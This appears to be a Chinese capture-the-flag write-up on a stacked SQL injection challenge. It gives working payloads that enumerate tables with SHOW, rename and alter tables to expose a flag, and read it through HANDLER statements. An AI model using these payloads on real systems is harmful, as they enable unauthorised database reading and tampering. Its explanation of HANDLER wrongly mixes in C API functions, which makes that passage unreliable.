第一步:判断是否存在注入
由此可以判断存在SQL注入,接下来判断注入类型
可以判断出是字符型注入,且闭合方式为单引号闭合
第二步:判断字段数
可以判断出字段数是2
第三步:开始注入
使用select发现,几乎常用的字段都被过滤了。这时可以利用堆叠注入测试一下:
发现是可以行得通的😀
稍稍回顾SQL注入的方法之一:堆叠注入
简单的说就是同时执行多条SQL语句,使用分号表示结束一条SQL语句。
因为过滤了常用函数,查询时可以使用Mysql 的show函数
show命令列出数据库、表、索引的内容,可以利用该函数查看mysql服务器的相关信息
show databases; 列出服务器可以访问的数据库
show tables; 列出数据库相关表名
show columns from tablename; 查询tablename表下的字段
接下来爆出表名:
可以得到有两个表名:word,1919810931114514
然后查看表中的内容,得到flag信息
查看表words:1'; show columns from words;#
查看表1919810931114514:-1';show columns from 1919810931114514;#
输入语句时要注意这里使用的是反勾号(`)
拓展:在mysql中引号(')与反勾号(`)的区别:(在linux下不区分,但是在windows下区分)
引号主要用于对字符串的引用
反勾号主要用于对数据库、表、列、索引和别名的引用
在words表中有2个字段:id、data
在1919810931114514表中有1个字段:flag
这里要注意,在第二步,我们判断出有两个回显位,但是flag所在表中只有1个字段。我们不能用常规的方法读取,需要稍加变形。
姿势一:改表名
先将words表名改成其他名字(不做要求),然后将191表的名字改为words,将字段flag改为id,这样就可以用1' or 1=1#显示出flag
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
-1'; show tables;#
1' or 1='1;#
拓展一下alter:
- alter table table_name add column_name type;//添加一个列
- alter table table_name change column1,column2 type;//改列名
- alter table table_name rename column1 to columns2 type;//改列名
- alter table table_name drop column_name type;//删除一个列
- alter table table_name alter column_name type;//改变列数据类型
姿势二:handle
MySQL中的handle是对关系数据库表中的数据进行操作的一种方式。
一个handle实际上就是一个在MySQL服务器上分配的内存对象,它包含有关某个MySQL表的信息。通过该handle,可以对表进行各种操作。
例如,要使用handle读取MySQL数据库表中的数据,可以首先使用mysql_stmt_init()创建handle,然后使用mysql_stmt_prepare()将SQL语句绑定到handle上以执行查询,最后使用mysql_stmt_fetch()通过handle读取数据。
这道题handle的方法:
1、打开表:HANDLER表名OPEN
2、查看数据:
3、关闭表:HANDLER表名 READ CLOSE;
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#